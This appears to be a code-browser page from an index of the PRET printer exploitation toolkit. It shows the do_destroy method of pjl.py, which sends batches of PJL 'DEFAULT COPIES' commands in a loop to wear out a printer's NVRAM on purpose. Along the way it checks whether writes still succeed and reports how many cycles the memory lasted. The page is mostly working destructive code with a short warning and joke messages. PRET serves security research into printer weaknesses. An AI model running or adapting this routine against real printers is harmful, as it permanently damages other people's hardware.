MCPcopy
hub / github.com/RUB-NDS/PRET / do_destroy

Method do_destroy

pjl.py:637–678  ·  view source on GitHub ↗

Cause physical damage to printer's NVRAM.

(self, arg)

Source from the content-addressed store, hash-verified

635
636 # ------------------------[ destroy ]---------------------------------
637 def do_destroy(self, arg):
638 "Cause physical damage to printer's NVRAM."
639 output().warning("Warning: This command tries to cause physical damage to the")
640 output().warning("printer NVRAM. Use at your own risk. Press CTRL+C to abort.")
641 if output().countdown("Starting NVRAM write cycle loop in...", 10, self):
642 self.chitchat(
643 "Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?"
644 )
645 date = conv().now() # timestamp the experiment started
646 steps = 100 # number of pjl commands to send at once
647 chunk = [
648 "@PJL DEFAULT COPIES=" + str(n % (steps - 2)) for n in range(2, steps)
649 ]
650 for count in range(0, 10000000):
651 # test if we can still write to nvram
652 if count % 10 == 0:
653 self.do_set("COPIES=42" + arg, False)
654 copies = self.cmd("@PJL DINQUIRE COPIES") or "?"
655 if not copies or "?" in copies:
656 output().chitchat("I'm sorry Dave, I'm afraid I can't do that.")
657 if count > 0:
658 output().chitchat("Device crashed?")
659 return
660 elif not "42" in copies:
661 self.chitchat(
662 "\rI'm afraid. I'm afraid, Dave. Dave, my mind is going..."
663 )
664 dead = conv().elapsed(conv().now() - date)
665 print(
666 (
667 "NVRAM died after "
668 + str(count * steps)
669 + " cycles, "
670 + dead
671 )
672 )
673 return
674 # force writing to nvram using by setting a variable many times
675 self.chitchat("\rNVRAM write cycles: " +
676 str(count * steps), "")
677 self.cmd(c.EOL.join(chunk) + c.EOL + "@PJL INFO ID")
678 print() # echo newline if we get this far
679
680 # ------------------------[ hold ]------------------------------------
681 def do_hold(self, arg):

Callers

nothing calls this directly

Calls 9

do_setMethod · 0.95
cmdMethod · 0.95
outputClass · 0.90
convClass · 0.90
warningMethod · 0.80
countdownMethod · 0.80
nowMethod · 0.80
elapsedMethod · 0.80
chitchatMethod · 0.45

Tested by

no test coverage detected